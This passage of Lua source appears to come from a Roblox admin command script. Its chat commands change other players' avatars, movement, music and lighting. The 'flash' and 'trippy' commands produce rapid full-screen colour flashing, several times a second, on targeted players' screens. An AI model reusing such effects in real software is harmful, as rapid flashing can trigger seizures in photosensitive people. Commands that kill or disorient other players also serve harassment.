dragon!!!!',Color=Enum.ChatColor.Green},{Msg='Omg double wat',Color=Enum.ChatColor.Blue},{Msg='WHO STOLE MY LEGS',Color=Enum.ChatColor.Red},{Msg='I... I think I might be dead....',Color=Enum.ChatColor.Blue},{Msg="I'M GOING TO EAT YOUR FACE",Color=Enum.ChatColor.Red},{Msg='Hey... Like... What if, like, listen, are you listening? What if.. like.. earth.. was a ball?',Color=Enum.ChatColor.Green},{Msg='WHY IS EVERYBODY TALKING SO LOUD AHHHHHH',Color=Enum.ChatColor.Red},{Msg='Woooo man do you see the elephent... theres an elephent man..its... PURPLE OHMY GOD ITS A SIGN FROM LIKE THE WARDROBE..',Color=Enum.ChatColor.Blue}} v.Character.Humanoid.WalkSpeed=-16 set.LoadOnClient(v,[[ coroutine.wrap(function() repeat wait(0.1) game.Workspace.CurrentCamera.FieldOfView=math.random(20,80) game.Players.LocalPlayer.Character.Humanoid.Health=game.Players.LocalPlayer.Character.Humanoid.Health-0.5 until game.Players.LocalPlayer.Character.Humanoid.Health<=0 or not game.Players.LocalPlayer.Character:FindFirstChild('Torso') game.Workspace.CurrentCamera.FieldOfView=70 end)() wait(10) coroutine.wrap(function() local torso = game.Players.LocalPlayer.Character:findFirstChild("Torso") local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0) until not bg or bg.Parent ~= torso end)() wait(20) coroutine.wrap(function() repeat wait() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) game.Players.LocalPlayer.Character.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil end)()]],false,set.AssignName()) local chat=game:GetService('Chat') coroutine.wrap(function() local val=Instance.new('StringValue',v.Character.Head) local old=math.random() while v and v.Character and v.Character.Head and val and val.Parent==v.Character.Head and v.Character.Humanoid.Health>0 do local new=math.random(1,#msgs) for k,m in pairs(msgs) do if new==k then if old~=new then old=new print(m.Msg) chat:Chat(v.Character.Head,m.Msg,m.Color) end end end wait(5) end end)() end)() end end if msg:lower():sub(1,6) == "pitch " then coroutine.wrap(function() local pitch = msg:sub(7):lower() for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v.Pitch=pitch end end end)() end if msg:lower():sub(1,6) == "music " then coroutine.wrap(function() for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end local id = msg:sub(7):lower() local pitch = 1 local mp = game:service('MarketplaceService') local volume = 1 for i,v in pairs(set['MusicList']) do if id==v.Name:lower() then id=v.Id end if v.Pitch then pitch=v.Pitch end if v.Volume then volume=v.Volume end end local name = 'Invalid ID ' pcall(function() if mp:GetProductInfo(id).AssetTypeId==3 then name = 'Now playing '..mp:GetProductInfo(id).Name end end) local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = volume s.Pitch = pitch s.Looped = true s.archivable = false pcall(function() s:Play()end) set.Hint(name..' ('..id..')',game.Players:children()) end)() end if msg:lower() == "stopmusic" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end end if msg:lower() == "musiclist" then if plr.PlayerGui:findFirstChild(GuiName.."MUSICGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() top.Text='Music List' scr.Name = GuiName.."MUSICGUI" scr.Parent = plr.PlayerGui for i, v in pairs(set['MusicList']) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children()) num = num +1 end end if msg:lower():sub(1,9) == 'stickify ' then local plrz = set.GetPlayers(plr, msg:lower():sub(10)) for kay, player in pairs(plrz) do coroutine.wrap(function() local Self = player m = Self.Character for i,v in pairs(m:GetChildren()) do if v:IsA ("Part") then local s = Instance.new("SelectionPartLasso") s.Parent = m.Torso s.Part = v s.Humanoid = m.Humanoid s.Color = BrickColor.new(0,0,0) v.Transparency = 1 m.Head.Transparency = 0 m.Head.Mesh:Remove() local b = Instance.new("SpecialMesh") b.Parent = m.Head b.MeshType = "Sphere" b.Scale = Vector3.new(.5,1,1) m.Head.BrickColor = BrickColor.new("Black") else end end end)() end end if msg:lower():sub(1,5) == 'hole ' then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for kay, player in pairs(plrz) do coroutine.wrap(function() local Self=player local Tor if pcall(function() Tor = Self.Character.Torso end) then local Hole = Instance.new("Part",Self.Character) Hole.Anchored = true Hole.CanCollide = false Hole.formFactor = Enum.FormFactor.Custom Hole.Size = Vector3.new(10,1,10) Hole.CFrame = Tor.CFrame * CFrame.new(0,-3.3,-3) Hole.BrickColor = BrickColor.new("Really black") local HoleM = Instance.new("CylinderMesh",Hole) Tor.Anchored = true local Foot = Tor.CFrame * CFrame.new(0,-3,0) local Func = coroutine.create(function() for i=1,10 do Tor.CFrame = Foot * CFrame.fromEulerAnglesXYZ(-(math.pi/2)*i/10,0,0) * CFrame.new(0,3,0) wait() end for i=1,5,0.2 do Tor.CFrame = Foot * CFrame.new(0,-(i^2),0) * CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) * CFrame.new(0,3,0) wait() end pcall(function() Self.Character.Humanoid.Health = 0 end) end) coroutine.resume(Func) end end)() end end if msg:lower():sub(1,4) == "fly " then local plrz = set.GetPlayers(plr, msg:lower():sub(5)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then set.LoadOnClient(v,[[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = true local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end) Fly()]],false,'FlyScript') end end)) end end if msg:lower():sub(1,6) == "unfly " then local plrz = set.GetPlayers(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then for a, q in pairs(v.PlayerGui:children()) do if q.Name == GuiName.."FlyScript" then q:Destroy() end end for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end wait(.1) v.Character.Humanoid.PlatformStand = false end end)) end end if msg:lower() == "disco" then set.lighttask=false wait(0.5) coroutine.wrap(function() set.lighttask = true repeat if set.lighttask==false then return end local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) game:service('Lighting').Ambient = color game:service('Lighting').OutdoorAmbient = color game:service('Lighting').FogColor = color wait(0.1) until set.lighttask==false end)() end if msg:lower() == "flash" then set.lighttask=false wait(0.5) coroutine.wrap(function() set.lighttask=true repeat if set.lighttask==false then return end game:service('Lighting').Ambient = Color3.new(1,1,1) game:service('Lighting').OutdoorAmbient = Color3.new(1,1,1) game:service('Lighting').FogColor = Color3.new(1,1,1) game:service('Lighting').Brightness = 1 game:service('Lighting').TimeOfDay = 14 wait(0.1) game:service('Lighting').Ambient = Color3.new(0,0,0) game:service('Lighting').OutdoorAmbient = Color3.new(0,0,0) game:service('Lighting').FogColor = Color3.new(0,0,0) game:service('Lighting').Brightness = 0 game:service('Lighting').TimeOfDay = 0 wait(0.1) until set.lighttask==false end)() end if msg:lower():sub(1,5) == "spin " then local plrz = set.GetPlayers(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end local torso = v.Character:findFirstChild("Torso") local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(set.objects,bg) repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0) until not bg or bg.Parent ~= torso end end)) end end if msg:lower():sub(1,7) == "unspin " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end end end)) end end if msg:lower():sub(1,4) == "dog " then local plrz = set.GetPlayers(plr, msg:lower():sub(5)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end v.Character.Torso.Transparency = 1 v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0) v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0) v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0) local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0) local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0) for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end end end)) end end if msg:lower():sub(1,6) == "undog " then local plrz = set.GetPlayers(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end v.Character.Torso.Transparency = 0 v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0) v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0) for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end end end)) end end if msg:lower():sub(1,8) == "creeper " then local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end v.Character.Torso.Transparency = 0 v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0) v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0) for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end end end)) end end if msg:lower():sub(1,10) == "uncreeper " then local plrz = set.GetPlayers(plr, msg:lower():sub(11)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end v.Character.Torso.Transparency = 0 v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0) v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0) for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end end end)) end end if msg:lower():sub(1,8) == "bighead " then local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end end)) end end if msg:lower():sub(1,9) == "minihead " then local plrz = set.GetPlayers(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end end)) end end if msg:lower():sub(1,6) == "fling " then local plrz = set.GetPlayers(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then local xran local zran repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555 repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555 v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0) local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1) end end)) end end if msg:lower():sub(1,8) == "seizure " then local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) set.LoadScript('LocalScript',[[char=game.Players.LocalPlayer.Character; repeat wait() char.Humanoid.PlatformStand = true char.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) char.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]],"SeizureBase",true,v.PlayerGui) end end)) end end if msg:lower():sub(1,10) == "unseizure " then local plrz = set.GetPlayers(plr, msg:lower():sub(11)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.PlayerGui then for i,v in pairs(v.PlayerGui:children()) do if v.Name == "SeizureBase" then v:Destroy() end end wait(.1) v.Character.Humanoid.PlatformStand = false end end)) end end if msg:lower():sub(1,12) == "removelimbs " then local plrz = set.GetPlayers(plr, msg:lower():sub(13)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then for a, obj in pairs(v.Character:children()) do if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end end end end)) end end if msg:lower():sub(1,5) == "name " then local chk1 = msg:lower():sub(6):find(" ") + 5 local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Head") then for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end local char = v.Character local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1) local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0 cl.CanCollide=false local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head char.Head.Transparency = 1 end end)) end end if msg:lower():sub(1,7) == "unname " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Head") then for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end end end)) end end if msg:lower():sub(1,5) == "char " then local chk1 = msg:lower():sub(6):find(" ") + 5 local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1) v:LoadCharacter() end end)) end end if msg:lower():sub(1,7) == "unchar " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId v:LoadCharacter() end end)) end end if msg:lower():sub(1,7) == "infect " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then set.Infect(v.Character) end end)) end end if msg:lower():sub(1,11) == "rainbowify " then local plrz = set.GetPlayers(plr, msg:lower():sub(12)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end set.LoadScript('LocalScript',[[repeat wait(0.1) local clr = BrickColor.random() for i, v in pairs(game.Players.LocalPlayer.Character:children()) do if v:IsA("BasePart") and v.Name~='HumanoidRootPart' and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]],'ify',true,v.PlayerGui) end end)) end end if msg:lower():sub(1,9) == "flashify " then local plrz = set.GetPlayers(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end set.LoadScript('LocalScript',[[repeat wait(0.1) for i, v in pairs(game.Players.LocalPlayer.Character:children()) do if v:IsA("BasePart") and v.Name~='HumanoidRootPart' and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(game.Players.LocalPlayer.Character:children()) do if v:IsA("BasePart") and v.Name~='HumanoidRootPart' and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]],'ify',true,v.PlayerGui) end end)) end end if msg:lower():sub(1,8) == "noobify " then local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character then set.Noobify(v.Character) end end)) end end if msg:lower():sub(1,9) == "ghostify " then local plrz = set.GetPlayers(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then set.LoadOnClient(v,[[ game:GetService("RunService").Stepped:connect(function() pcall(function() game.Players.LocalPlayer.Character.Torso.CanCollide = false game.Players.LocalPlayer.Character.Head.CanCollide = false game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide = false if game.Players.LocalPlayer.Character:FindFirstChild('Head') then for i,v in pairs(game.Player.LocalPlayer.Character.Head:children()) do if v and v:IsA('Part') then v.CanCollide=false end end end end) end)]],false,'Ghost') if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white") if prt.Name:find("Leg") then prt.Transparency = 1 end elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white") end end end end)) end end if msg:lower():sub(1,8) == "goldify " then local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and prt.Name~='HumanoidRootPart' and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow") elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow") end end end end)) end end if msg:lower():sub(1,6) == "shiny " then local plrz = set.GetPlayers(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and prt.Name~='HumanoidRootPart' and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white") elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white") end end end end)) end end if msg:lower():sub(1,7) == "normal " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end v.Character.Torso.Transparency = 0 v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0) v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0) for a, sc in pairs(v.PlayerGui:children()) do if sc.Name == "ify" then sc:Destroy() end end for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White") if prt.Name == "FAKETORSO" then prt:Destroy() end if prt.Name == 'HumanoidRootPart' then prt.Transparency=1 end elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White") end end end end)) end end if msg:lower():sub(1,7) == "trippy " then if set['FilteringEnabled'] then return end local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == GuiName.."EFFECTGUI" then g:Destroy() end end local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = GuiName.."EFFECTGUITRIPPY" local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 set.LoadScript('LocalScript',[[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]],math.random(),true,scr) end end)) end end if msg:lower():sub(1,9) == "untrippy " then local plrz = set.GetPlayers(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do 